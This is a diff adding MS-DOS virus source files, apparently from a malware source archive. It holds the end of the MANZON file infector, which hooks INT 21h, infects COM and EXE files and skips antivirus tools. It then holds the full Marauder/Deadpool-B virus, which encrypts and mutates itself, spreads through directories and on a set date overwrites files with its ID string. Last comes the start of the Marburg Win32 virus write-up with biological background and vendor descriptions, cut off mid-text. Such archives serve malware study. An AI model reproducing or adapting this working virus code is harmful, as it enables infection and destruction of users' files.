Entrypoint, part of JMP-instruction + +Real_CS dw 0 +Real_IP dw 0 +Real_SS dw 0 +Real_SP dw 0 + +IPOffs dw 100h ; Start offset (100h for comfiles) + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ INT 21h Entrypoint. Check if virus is calling, and if file :+ +;+ should be infected. :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +NewVect: + cmp ax,0DCBAh ; Is virus calling? + jne Notvirus + mov dx,ax + iret +Notvirus: + cli ; Clear Interrupts + cld ; Clear Direction + cmp ah,3eh ; Is file going to be closed? + je Short FileClose + + cmp ax,4b00h ; Is file going to be executed? + je Short FileExecute + jmp DoOldInt + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following code is called when a file is going to be executed. :+ +;+ The file will be opened, and then closed. When the file is :+ +;+ closed, the virus will call itself by INT21/3Eh, and the file :+ +;+ will be infected. Pretty smart, eh? :) :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +FileExecute: + pusha + + mov ax,3d00h ; Open file for ReadOnly + int 21h + mov bx,ax ; Filehandle in bx + mov ah,3eh + int 21h ; Close file (infect file :)) + + popa + jmp DoOldInt + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following code is called when a file is going to be closed. :+ +;+ The code uses INT2F/1220h to get the adress of JFT-entry, :+ +;+ and then INT2F/1216h to get adress of SFT. :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +FileClose: + cmp bx,5 ; Is it a standard device? + jb DoOldInt + + push ds + push es + pusha + + push bx + mov ax,1220h ; Table in es:di + int 2fh + mov ax,1216h + mov bl,byte ptr es:[di] + int 2fh + pop bx + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ This is a very poor way to check the 2 first characters in a :+ +;+ filename, but the asciicode will look nice =) :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + + mov ax,word ptr es:[di+20h] + xchg al,ah + add ax,0302h + + cmp ax,'F-' + 0302h ; Don't infect F-PROT + je short Skip_Infect + cmp ax,'SC' + 0302h ; Don't infect SCAN + je short Skip_Infect + cmp ax,'TB' + 0302h ; Don't infect TB*.* (TBAV) + je short Skip_Infect + cmp ax,'TO' + 0302h ; Don't infect TOOLKIT + je short Skip_Infect + cmp ax,'FV' + 0302h ; Don't infect FV386 + je short Skip_Infect + cmp ax,'FI' + 0302h ; Don't infect FINDVIRU + je short Skip_Infect + cmp ax,'VI' + 0302h ; Don't infect VI*.* + je short Skip_Infect + cmp ax,'K-' + 0302h ; Don't infect R.L's stuff :) + je short Skip_Infect + +Check_Com: + cmp word ptr es:[di+28h],'OC' + jne short Check_Exe + cmp byte ptr es:[di+2ah],'M' + jne short Check_Exe + or byte ptr es:[di+2],2 ; Set R&W Access + call Infect_Com + +Check_Exe: + cmp word ptr es:[di+28h],'XE' + jne short Skip_Infect + cmp byte ptr es:[di+2ah],'E' + jne short Skip_Infect + or byte ptr es:[di+2],2 ; Set R&W Access + call Infect_Exe + +Skip_Infect: + popa + pop es + pop ds + jmp DoOldInt + + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Infect COM-file :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +Infect_Com: + push cs + pop ds + + mov ax,4202h ; Go to EOF + xor cx,cx + cwd + int 21h ; Get filelength in AX + push ax + + mov ax,4200h ; Go to SOF + xor cx,cx + cwd + int 21h + + mov ah,3fh ; Read the 3 first bytes + mov cx,3 + mov dx,offset buffer + int 21h + + pop ax ; Get Filelength + sub ax,[orgep] ; Virus entrypoint, if file + cmp ax,filecodelength+100h ; is infected + jnb short LooksOk + cmp ax,filecodelength-10h + jb short LooksOk + jmp short DontInfect + +LooksOk: + mov ax,4202h ; Go to EOF + xor cx,cx + cwd + int 21h + + cmp ax,62000 ; Is file small enough? + jnb short DontInfect + + sub ax,3 ; Make the first 3 bytes + mov word ptr ds:[buffer2+1],ax ; (jmp to eof (viruscode)) + + mov [IPOffs],100h ; Tell that offset is 100h + + push bx + call WriteVirus + pop bx + + mov ax,4200h ; Move to SOF + xor cx,cx + cwd + int 21h + + mov ah,40h ; Write first 3 bytes + mov cx,3 + mov dx,offset buffer2 + int 21h + +DontInfect: + ret + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Infect EXE-file :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +Infect_Exe: + push cs + pop ds + + mov [File_H],bx + + mov ax,4200h ; Go to SOF + xor cx,cx + cwd + int 21h + + mov ah,3fh + mov cx,19h ; Size of EXE-header + mov dx,offset EXE_Header + int 21h + + cmp word ptr ds:[EXE_Sig],'MZ' ; Be sure it's a real EXE. + je short ItIsAnExe + cmp word ptr ds:[EXE_Sig],'ZM' + je short ItIsAnExe + jmp short DontInfect +ItIsAnExe: + cmp byte ptr ds:[EXE_Win],40h ; Is it a NE-EXE? + je short DontInfect ; Don't infect. + + xor eax,eax + xor ebx,ebx + xor ecx,ecx + + les ax,dword ptr ds:[EXE_IP] ; get CS:IP in ES:AX + mov ds:Real_CS,es + mov ds:Real_IP,ax + push ax ; Save IP + push es ; Save CS + + les ax,dword ptr ds:[EXE_SS] ; get SS:SP in AX:ES + mov ds:Real_SS,ax + mov ds:Real_SP,es + push es + pop bx ; SP in BX + + shl eax,4 ; Build real SS:SP in EBX + add eax,ebx + + pop cx ; Get CS in CX + pop bx ; Get IP in BX + shl ecx,4 ; Build real CS:IP in ECX + add ecx,ebx + + sub eax,ecx ; EAX = SS:SP-CS:IP + + cmp eax,(filecodelength+400) + jnb short NotInfected + cmp eax,filecodelength + jb short NotInfected + jmp SkipInfect + +NotInfected: + xor eax,eax + mov bx,[File_H] + + mov ax,4202h ; Go to EOF + xor cx,cx + cwd + int 21h ; Get filelength in dx:ax + + xor ecx,ecx + xor ebx,ebx + mov cx, word ptr ds:[EXE_Siz] ; Get Siz/512 from header + mov bx, word ptr ds:[EXE_Mod] ; Get Siz mod 512 from header + shl ecx,9 ; Mul 512 + add ecx,ebx ; Build Real memsize + + mov bx,dx + shl ebx,16 + add ebx,eax ; Build filesize in EBX + + cmp ecx,ebx ; Is whole file loaded? + jb SkipInfect ; Nope, skip infect + + xor ecx,ecx + push ax + pop cx ; Low word in cx + + mov ax,dx + shl eax,16 + add eax,ecx ; Build filesize in eax + mov edx,eax ; Save filesize + + xor ebx,ebx + mov bx, word ptr ds:[EXE_SHe] + shl ebx,4 ; Build real Headersize + sub eax,ebx ; Filesize-Headersize=CS:IP!! + push eax ; Save new CS:IP for later use + + call FixSegOffs ; Fix CS:IP so IP<10h + + mov dword ptr ds:[EXE_IP],eax + + mov [entry_p],ax ; Set virus entrypoint + mov [IPOffs],-3 ; No offset in EXE-files + + mov bx,[File_H] + call WriteVirus ; Write virus to EOF + + xor eax,eax + xor ebx,ebx + mov ax,word ptr ds:[EXE_Mod] ; Bytes on last page + mov bx,word ptr ds:[EXE_Siz] ; Size/512 + shl ebx,9 ; Mul 512 + add eax,ebx ; Make progsize + add eax,filecodelength ; Add code_size + xor ebx,ebx + mov bx,word ptr ds:[CLength] + add eax,ebx ; Add decryptsize + add eax,12 ; add InitCX,Loop etc + mov ebx,eax + shr ebx,9 ; Make new progsize/512 + and ax,01ffh ; Make modulo + + mov word ptr ds:[EXE_Siz],bx + mov word ptr ds:[EXE_Mod],ax + + add word ptr ds:[EXE_Min],(code_size+100)/16 + mov word ptr ds:[EXE_Max],-1 + + pop eax ; Get CS:IP + xor ebx,ebx + mov bx,word ptr ds:[CLength] ; Length of decryptor + add eax,ebx + add eax,12 ; Add INIT_CX, INIT_SI etc + add eax,VirStk-Code_Start ; Add pos of Stack + + inc eax ; Add one byte and... + and al,0feh ; ...make sure it's even + + call FixSegOffs ; Fix so SP<10h + + mov word ptr ds:[EXE_SP],ax ; Save new SS:SP + shr eax,16 + mov word ptr ds:[EXE_SS],ax ; Save new SS:SP + + mov bx,[File_H] + + mov ax,4200h ; Go to SOF + xor cx,cx + cwd + int 21h + + mov ah,40h + mov cx,18h ; Size of EXE-header + mov dx,offset EXE_Header + int 21h ; Write new header + +SkipInfect: + ret + +FixSegOffs: + mov ebx,eax + xor ax,ax + shl eax,12 + mov ax,bx +FixSegOffsLoop: + mov bx,ax + cmp bx,10h + jb short DoneFix + add eax,00010000h - 00000010h ; 1 para up.. + jmp short FixSegOffsLoop +DoneFix: + ret + +id db 'MANZON (c) ' + + db 'R' + 1 + db 'e' + 2 + db 'd' + 3 + db '-' + 4 + db 'A' + 5 + db '/' + 6 + db 'I' + 7 + db 'R' + 8 + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+: +;+ Following code will check if virus is resident, +: +;+ allocate memory, copy virus to memory, set the new +: +;+ interrupt vector and transfer control to the program +: +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+: + +InstallVirus: + pop si ; Get Start of virus+3 + push si ; Save it again for later use. + push ds ; push PSP for later use + push cs + pop ds + +;+:+:+:+:+:+:+:+:+:+: Ceck if virus is active :+:+:+:+:+:+:+:+:+:+:+: + + mov ax,0DCBAh + int 21h + cmp dx,ax + je short Installed ; Virus found in memory + +;+:+:+:+:+:+:+:+:+:+: Allocate memory for virus :+:+:+:+:+:+:+:+:+:+:+: + + mov ah,4ah ; Get top of memory + push ax + mov bx,-1 + int 21h + + sub bx,(code_size)/16+2 ; Resize memory allocation + pop ax + int 21h + + mov ah,48h ; Allocate memory for Virus + mov bx,(code_size)/16+1 + int 21h + jc short Installed ; If error then exit + + dec ax ; dec AX to get pointer to MCB + mov es,ax + mov word ptr es:[1],8 ; Set DOS as owner of memory + sub ax,0fh ; 100 bytes from allocstart + mov es,ax ; to get same offset in TSR-code + +;+:+:+:+:+:+:+:+:+:+:+:+: Copy virus to memory :+:+:+:+:+:+:+:+:+:+:+: + + sub si,6 + mov di,0100h + mov cx,code_size + rep movsb ; move 'em up + +;****** Get adress of old INT21h and save it in the Do21-jump. + + push es + pop ds + mov ax,3521h + int 21h +tbavfuck: + cmp word ptr es:[bx],05ebh + jne notbav + cmp byte ptr es:[bx+2],0eah + jne notbav + les bx,es:[bx+3] + jmp tbavfuck +notbav: + mov word ptr ds:[OldInt+2],es ; Save address to real INT + mov word ptr ds:[OldInt],bx ; in the JMP-string + +;****** Set new INT21h + + mov dx,offset NewVect ; Set New interruptvector + mov ax,2521h + int 21h + +installed: + pop ax ; Get PSP + pop si + sub si,106h + cmp word ptr cs:[si+IPoffs],100h ; Are we in a COM-file + je short RestoreComFile + +RestoreExeFile: + mov ds,ax ; Let ds contain PSP + mov es,ax ; Let es contain PSP + add ax,10h ; Get start of file + + add word ptr cs:[si+Real_CS],ax ; Add start seg to CS + add ax,word ptr cs:[si+Real_SS] + mov ss,ax ; Get programs SS + mov sp,word ptr cs:[si+Real_SP] ; Get programs SP + sub sp,2 ; Fix right value for SP + + push word ptr cs:[si+Real_CS] + push word ptr cs:[si+Real_IP] + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + mov si,ax + mov di,ax + mov bp,ax + retf + +RestoreComFile: + mov ax,cs + mov ds,ax + mov es,ax + + add si,offset buffer ; Restore real 3 first bytes + mov di,0100h + movsw + movsb + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + mov si,ax + mov di,ax + mov bp,ax + push 0100h + ret + +SimpleCryptEnd: + +StartDecryptSimple: + call GetIPLabel +GetIPLabel: + mov bp,sp + mov si,[bp] + sub si,GetIPLabel-SimpleCryptStart + mov cx, SimpleCryptEnd-SimpleCryptStart + Call DecryptSimple + pop ax + ret + +EncryptDecryptSimple: + mov si,offset SimpleCryptStart + mov cx, SimpleCryptEnd-SimpleCryptStart + call DecryptSimple + ret + +DecryptSimple: + db 02eh,080h,034h ; xor byte ptr cs:[si],? +DSRan db 0 + inc si + loop DecryptSimple + ret + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following code acts like a buffer in memory, and is not :+ +;+ included when the virus is written to a file. :+ +;+ (Normally known as the heap) :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +filecodeend: ; Label to calculate code_size, + ; and to use when jumping to copy + ; of EWD-routine + +ED_buf db ED_end-ED_start dup (?) ; space for copy of en EWD-routine + +File_H dw ? ; Filehandle + +; Space for the created decryptionroutine + +InitCX1 db ?,?,? ; mov cx,virsize+(0 to 7) +InitSI1 db ?,?,? ; mov si,offset start +CCode1 dd ?,?,?,?,?,?,?,? ; 1 to 15 decryptrows + dd ?,?,?,?,?,?,? + dd ?,? ; + loop statement + +; Space for the created encryptionroutine + +CCode2 dd ?,?,?,?,?,?,?,? ; 1 to 15 decryptrows + dd ?,?,?,?,?,?,? + dd ?,? + +EXE_Header: ; Structure +EXE_Sig dw ? ; MZ or ZM +EXE_Mod dw ? ; size - int(size/512) +EXE_Siz dw ? ; size/512 +EXE_Rel dw ? ; Relocation iems +EXE_SHe dw ? ; Size of header/16 +EXE_Min dw ? ; Min mem/16 +EXE_Max dw ? ; Max mem/16 +EXE_SS dw ? ; Stack Segement +EXE_SP dw ? ; Stack Pointer +EXE_CHK dw ? ; Checksum +EXE_IP dw ? ; Instruction Pointer +EXE_CS dw ? ; Code Segment +EXE_Win db ? ; 40h if Windows EXE + +VirStk: db 32 dup (?) ; Stack used by the virus (EXE only) + +code_end: + end start +;=============================================================================== diff --git a/MSDOS/Virus.MSDOS.Unknown.marauder.asm b/MSDOS/Virus.MSDOS.Unknown.marauder.asm new file mode 100644 index 00000000..9385ddfd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.marauder.asm @@ -0,0 +1,610 @@ +; "Marauder" Virus +; AKA Deadpool-B +; +; By Hellraiser +; Of Phalcon/Skism +; +; For virus reseach only +; +; I always wanted to release this source, so here it is. Now that it's been caught +; take a look at whats inside. +; +; I know it's no great thing, but it's good to learn from. It contains basic +; encryption, mutation, and INT 24 handling. +; +; I will be very upset if I see 100 new versions of this code with some lame kids +; name in place of mine. So just use it to learn from, it's very straight foward. + + + +code segment 'code' +assume cs:code, ds:code, ss:code, es:code +org 0100h + +dta EQU endcode + 10 +headlength EQU headend - headstart +bodylength EQU bodyend - bodystart +encryptpart EQU bodyend - mixed_up +part1size EQU part2 - part1 +part2size EQU parta - part2 +partasize EQU partb - parta +partbsize EQU dude - partb +mutants EQU chris - part1 +total_mutant EQU mutants / 2 +encryptlength EQU encryptpart / 2 +virus_size EQU headlength + bodylength + 5 ; head + body + int24 + 2 +drive EQU endcode + 110 +backslash EQU endcode + 111 +orig_path EQU endcode + 113 +dirdta EQU orig_path + 66 +myid EQU 88h +toolarge EQU 65535 - virus_size +fileattr EQU 21 +filetime EQU 22 +filedate EQU 24 +filename EQU 30 + +headstart: + + jmp bodystart + db myid +headend: + +realprogramstart: + db 90h, 90h, 90h + db 0cdh, 020h, 1ah, 1ah +realprogramend: + +bodystart: + call deadpool +deadpool: + pop si + sub si,offset deadpool + call encrypt + jmp chris + +enc_code dw 0000h + +encrypt proc near +assume cs:code, ds:code, es:code, ss:code + +part1_: + push ax + push bx + push cx + push dx + mov cx, encryptlength + mov bp, si + add si, offset bodyend + mov di,si + std +xor_loop: + lodsw + xor ax, [bp + enc_code] + stosw + loop xor_loop +done_: + mov si, bp + pop dx + pop cx + pop bx + pop ax + + ret + ;nop + +encrypt endp + + +infect proc near + + call encrypt + int 21h + call encrypt + ret + +infect endp + + +mixed_up: + + + +part1: + push dx + push cx + push bx + push ax + mov cx, encryptlength + mov bp, si + add si, offset mixed_up + mov di,si + cld + +part2: + mov si, bp + pop ax + pop bx + pop cx + pop dx + + + +parta: + mov bp, si + add si, offset endcode + mov di, si + push ax + push bx + push cx + push dx + mov cx, encryptlength + std + +partb: + pop dx + pop cx + pop bx + pop ax + mov si, bp + + +dude: + +; don't get any ideas lamer + +hellraiser label byte +idbuffer db 0cdh, 20h,' [Marauder] 1992 Hellraiser - Phalcon/Skism. ' +stringsize EQU ($ - hellraiser) + +chris: + + push es + mov ax,3524h + int 21h + mov [si + word ptr oint24], bx + mov [si + word ptr oint24 + 2], es + pop es + + mov ax, 2524h + lea dx, [si + newint24] + int 21h + + push si + mov ah, 47h + xor dl,dl + add si, offset orig_path + int 21h + + pop si + mov ah,19h + int 21h + + add al, 41h + mov byte ptr [si + offset drive], al + + mov ax, '\:' + mov word ptr [si + offset backslash], ax + + ;mov byte ptr [si + offset defaultdrive], al + + +; here's my new tri-dimensional jmp displacement theory in play + + push si + pop bp + + lea si, [bp + offset oldjmp] + lea di, [bp + offset thisjmp] + mov cx,04h + cld + rep movsb + + push bp + pop si +why: + + mov ah,1ah + lea dx,[si + dta] + int 21h + + mov ah,2ah + int 21h + + cmp dx, 0202h + jne ff + jmp smash + +ff: + mov ah,4eh + lea dx,[si + filespec] + mov cx, 07h + +searchloop: + + int 21h + jnc here + ;jmp up + + + + mov ah,1ah + lea dx,[si + dirdta] + int 21h + + mov ah,3bh + lea dx,[si + offset rootdir] + int 21h + jc at_root + jmp why + +at_root: + cmp byte ptr [si + donebefore], 01h + je notokey + + mov al,01h + mov [si + donebefore], al + + mov ah,4eh + xor cx,cx + mov cl,13h + + + lea dx, [si + dwildcards] +ffdloop: + + int 21h + jnc okey + jmp far ptr nofilesfound + +notokey: + mov ah,4fh + jmp ffdloop + +okey: + mov ah,3bh + lea dx, [si + offset dirdta + filename] + int 21h + jc notokey + jmp why + + +here: + + mov bx, word ptr [si + offset dta + fileattr] + mov word ptr [si + origattr], bx + + mov ax,4301h + xor cx,cx + lea dx, [si + offset dta + filename] + int 21h + jc bad_file2 + + call openfile + jc bad_file2 + + mov word ptr [si + offset handle], ax + + mov bx, word ptr [si + offset dta + filedate] + mov word ptr [si + origdate], bx + mov bx, word ptr [si + offset dta + filetime] + mov word ptr [si + origtime], bx + + xchg bx, ax + + mov ah, 3fh + mov cx, 4 + lea dx, [si + oldjmp] + int 21h + + cmp byte ptr [si + offset oldjmp + 3], myid + jne sick_of_it_all + +bad_file: + mov ax,4301h + mov cx, word ptr [si + offset origattr] + lea dx, [si + offset dta + filename] + xor ch,ch + int 21h + + mov ah,3eh + int 21h + +bad_file2: + cmp ax, 05h + je dumb + cmp ax, 02h + je dumb + mov ah, 4fh + jmp searchloop +dumb: + jmp nofilesfound + +sick_of_it_all: + + cmp word ptr [si + offset oldjmp], 5a4dh + je bad_file + + call seekeof + + cmp ax,0010h + jb bad_file + cmp ax, toolarge + jae bad_file + + + sub ax,03h + mov [si + newjmp + 2], ah + mov [si + newjmp+ 1], al + mov [si + newjmp + 3], myid + mov ah, 0e9h + mov [si + newjmp], ah + + xor al,al + mov [si + donebefore], al + + inc word ptr [si + generation] + + mov bp, si + call enc_enc + +tryagain: + mov ah,2ch + int 21h + cmp dx, 0000h + je tryagain + mov word ptr [si + offset enc_code], dx + + + mov cl, 8 + ror dx, cl + mov word ptr [si + offset mutantcode], dx + + cmp dl, 30 + jng encrypt_a + jmp encrypt_b + + +encrypt_a: + ;mov bp, si + + lea si,[bp + offset part1] + lea di,[bp + offset part1_] + mov cx, part1size + call dostring + lea si,[bp + offset part2] + lea di,[bp + offset done_] + + mov cx, part2size + call dostring + + jmp attach + +encrypt_b: + + lea si,[bp + offset parta] + lea di,[bp + offset part1_] + mov cx, part1size + call dostring + + lea si,[bp + offset partb] + lea di,[bp + offset done_] + mov cx, part2size + call dostring + +attach: + call enc_enc + + mov si,bp + mov ah,40h + mov cx, bodyend - bodystart + add cx, 5 + lea dx,[si + bodystart] + call infect + jc close_file + + + call seektof + + mov ah,40h + mov cx, 4 + lea dx,[si + offset newjmp] + int 21h + +close_file: + + + mov ax,5701h + mov cx, word ptr [si + offset origtime] + mov dx, word ptr [si + offset origdate] + mov bx, word ptr [si + offset handle] + int 21h + + mov ah, 3eh + int 21h + + mov ax,4301h + mov cx, word ptr [si + offset origattr] + lea dx, [si + offset dta + filename] + xor ch,ch + int 21h + + +nofilesfound: + + mov ah, 03bh + lea dx, [si + offset drive] + int 21h + +restoredta: + mov ah, 1ah + mov dx, 080h + int 21h + + push si + pop bp + + mov ax, 2524h + lea dx, [si + oint24] + int 21h + + lea si,[bp + offset thisjmp] + mov di,100h + + mov cx,04h + cld + rep movsb + + mov di, 0100h + jmp di + +smash proc near + + call enc_enc + mov ah, 4eh + mov cx, 07h + lea dx, [si + offset dwildcards] ; + +r_loop: + int 21h + jc restoredta + + call kill + + mov ah, 4fh + jmp r_loop + +smash endp + +dostring proc near + + cld + rep movsb + ret + +dostring endp + + +enc_enc proc near + + mov si, bp + add si, offset part1 + mov di, si + mov cx, total_mutant + +loop_xor: + lodsw + xor ax, [bp + mutantcode] ; + stosw + loop loop_xor + + mov si, bp + ret + +enc_enc endp + +seektof proc near + + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + + ret + +seektof endp + + +seekeof proc near + + mov ax,4202h + xor dx,dx + xor cx,cx + int 21h + + ret + +seekeof endp + + +openfile proc near + + mov ax,3d02h + lea dx, [si + offset dta + filename] + int 21h + + ret + +openfile endp + +kill proc near + + call openfile + jc return + mov bx, ax + + push bx + + call seekeof + + mov bx, stringsize + div bx + mov cx, ax + pop bx + push cx + + call seektof + pop cx + + +loop_: + push cx + mov ah, 40h + mov cx, stringsize + lea dx, [si + offset idbuffer] + int 21h + jc ender + pop cx + dec cx + jcxz ender + jmp loop_ +ender: + + mov ah, 3eh + int 21h + +return: + ret + +kill endp + + +filespec db '*.COM',0 +dwildcards db '*.*',0 +rootdir db '..',0 +generation dw 0000 +origdate dw ? +origtime dw ? +origattr db ? +handle dw ? +defaultdrive db ? +oldjmp db 09h, 0cdh, 020h, 90h +thisjmp db 4 dup (?) +newjmp db 4 dup (?) +mutantcode dw 0000 +donebefore db 00 +oint24 dd 00 + +bodyend: + +; not encrypted + +newint24: + xor al,al + iret +endcode: + +code ends + end headstart + + diff --git a/MSDOS/Virus.MSDOS.Unknown.marburg.asm b/MSDOS/Virus.MSDOS.Unknown.marburg.asm new file mode 100644 index 00000000..cd31d06a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.marburg.asm @@ -0,0 +1,3984 @@ + + Marburg virus - BioCoded by GriYo / 29A + --------------------------------------- + + + + + Index: + ------ + + 1 - About the biological version + 2 - Author's description + 3 - Description from Datafellows + 4 - Description from AVP + 5 - Description from DrSolomon + 6 - Marburg source code + + + + + 1 - About the biological version + -------------------------------- + + 1967: Marburg/Frankfurt, Germany. + + Laboratory workers preparing primary cell cultures from African +green monkeys resulted in an outbreak of a previously unrecognised disease. +Highly infectious: 31 cases, 7 deaths. + + 1976: + + Outbreak of a previously unrecognised haemorrhagic fever in Zaire +and Sudan 'Ebola disease': 500 diagnosed cases, 460 deaths. + + Ebola virus, a member of the Filoviridae, burst from obscurity with +spectacular outbreaks of severe, haemorrhagic fever. It was first +associated with an outbreak of 318 cases and a case-fatality rate of 90% +in Zaire and caused 150 deaths among 250 cases in Sudan. Smaller outbreaks +continue to appear periodically, particularly in East, Central and southern +Africa. In 1989, a haemorrhagic disease was recognized among cynomolgus +macaques imported into the United States from the Philippines. Strains of +Ebola virus were isolated from these monkeys. Serologic studies in the +Philippines and elsewhere in Southeast Asia indicated that Ebola virus is a +prevalent cause of infection among macaques. + +These threadlike polymorphic viruses are highly variable in length +apparently owing to concatemerization. However, the average length of an +infectious virion appears to be 920 nm. The virions are 80 nm in diameter +with a helical nucleocapsid, a membrane made of 10 nm projections, and +host cell membrane. They contain a unique single-stranded molecule of +noninfectious (negative sense) RNA. The virus is composed of 7 +polypeptides, a nucleoprotein, a glycoprotein, a polymerase and 4 other +undesignated proteins. Proteins are produced from polyadenylated +monocistronic mRNA species transcribed from virus RNA. The replication in +and destruction of the host cell is rapid and produces a large number of +viruses budding from the cell membrane. + +Epidemics have resulted from person to person transmission, nosocomial +spread or laboratory infections. The mode of primary infection and the +natural ecology of these viruses are unknown. Association with bats has +been implicated directly in at least 2 episodes when individuals entered +the same bat-filled cave in Eastern Kenya. Ebola infections in Sudan in +1976 and 1979 occurred in workers of a cotton factory containing thousands +of bats in the roof. However, in all instances, study of antibody in bats +failed to detect evidence of infection, and no virus was isolated from bat +tissue. + +The index case in 1976 was never identified, but this large outbreak +resulted in 280 deaths of 318 infections. The outbreak was primarily the +result of person to person spread and transmission by contaminated needles +in outpatient and inpatient departments of a hospital and subsequent +person to person spread in surrounding villages. In serosurveys in Zaire, +antibody prevalence to Ebola virus has been 3 to 7%. The incubation period +for needle-transmitted Ebola virus is 5 to 7 days and that for person to +person transmitted disease is 6 to 12 days. + +The virus spreads through the blood and is replicated in many organs. +The histopathologic change is focal necrosis in these organs, including +the liver, lymphatic organs, kidneys, ovaries and testes. The central +lesions appear to be those affecting the vascular endothelium and +the platelets. The resulting manifestations are bleeding, especially in +the mucosa, abdomen, pericardium and vagina. Capillary leakage appears to +lead to loss of intravascular volume, bleeding, shock and the acute +respiratory disorder seen in fatal cases. Patients die of intractable shock. +Those with severe illness often have sustained high fevers and are +delirious, combative and difficult to control. + +The serologic method used in the discovery of Ebola was the direct +immunofluorescent assay. The test is performed on a monolayer of infected +and uninfected cells fixed on a microscopic slide. IgG- or IgM-specific +immunoglobulin assays are performed. These tests may then be confirmed +by using western blot or radioimmunoprecipitation. Virus isolation is also +a highly useful diagnostic method, and is performed on suitably preserved +serum, blood or tissue specimens stored at -70oC or freshly collected. + +No specific antiviral therapy presently exists against Ebola virus, nor does +interferon have any effect. Past recommendations for isolation of the +patient in a plastic isolator have given way to the more moderate +recommendation of strict barrier isolation with body fluid precautions. +This presents no excess risk to the hospital personnel and allows +substantially better patient care, as shown in Table 2. The major factor in +nosocomial transmission is the combination of the unawareness of the +possibility of the disease by a worker who is also inattentive to the +requirements of effective barrier nursing. after diagnosis, the risk of +nosocomial transmission is small. + +The basic method of prevention and control is the interruption of person to +person spread of the virus. However, in rural areas, this may be difficult +because families are often reluctant to admit members to the hospital +because of limited resources and the culturally unacceptable separation +of sick or dying patients from the care of their family. Experience +with human disease and primate infection suggests that a vaccine inducing a +strong cell-mediated response will be necessary for virus clearance and +adequate protection. Neutralizing antibodies are not observed in +convalescent patients nor do they occur in primates inoculated with killed +vaccine. A vaccine expressing the glycoprotein in vaccinia is being +prepared for laboratory evaluation. + + Emerging & Re-emerging Viruses: An Essay + Alison Jacobson + Department of Microbiology + University of Cape Town + + + + + 2 - Author's description + ------------------------ + + Marburg is a direct action Win32 executable files infector. Lets +look at its features in more detail... + + 2.1. Infection + + When an infected file is run the virus will look for *.EXE and *.SCR +files in current directory, as well as WINDOWS and WINDOWS system +directories. Marburg use size padding to mark infected files. Depending on +the internal format of each file the virus sometimes infects them without +modifying the entry-point field in the file header. In some files Marburg +overwrites the code at its host entry-point with a block or polymorphic +code. This code is used to hide the branch to viral code. Marburg infects +files by mapping them in memory. This allows the virus to speed up its +infection procedures. + + 2.2. Polymorphism + + The virus is encrypted under a polymorphic decryptor. The +polymorphic engine uses slow mutation technics and can generate lots of +different looking code. + + 2.3. Retro + + Some intergrity checksum files deleted on infection. + + 2.4. Error-handling + + The virus startup and infection routines uses estructured exception +handling to prevent the virus from causing FAULTS at any time. This makes +Marburg a very stable virus. + + 2.5. Payload + + A nice graphic payload inside... I think this is a must for viruses +that works under GUI. + + + + + 3 - Description from Datafellows + -------------------------------- + + NAME: Marburg + TYPE: Non-resident EXE -files + + The Win95/Marburg virus got widespread circulation in August 1998, +when it was included on the master CD of the popular MGM/EA PC CD-ROM game +"Wargames". The CD contains one file infected by the Marburg virus: + + \EREG\EREG32.EXE + + MGM - the publisher of the game - made an announcment on this on +12th of August, 1998: + + + -------- + From: "K.Egan (MGM)" kegan@mgm.com + Subject: MGM WarGames Statement + Date: Wed, 12 Aug 1998 18:03:39 -0700 + + MGM Interactive recently learned that its WarGames PC game shipped + with the Win32/Marburg.a virus contained in the electronic + registration program. The company is working as fast as it can to + resolve the problem. + ... + MGM Interactive is committed to delivering top quality products to + consumers. This is an unfortunate circumstance and we sincerely + apologize for any convenience this has caused you. + ... + If you have any questions or if you would like to receive a + replacement disc, please contact MGM Interactive. + -------- + + +The same virus also got widespread circulation in August 1998, when it was +included on the cover CD of the Australian "PC Power Play" magazine. This CD +contains these files infected by the Marburg virus: + + \GAMES\MAX2\MAX2BETA.EXE + \GAMES\STARTREK\FURYDEMO.EXE + +In July 1998, the Win95/Marburg virus got yet again widespread circulation +when it was included by accident on the cover CD of the UK-based PC Gamer +Magazine's July 1998 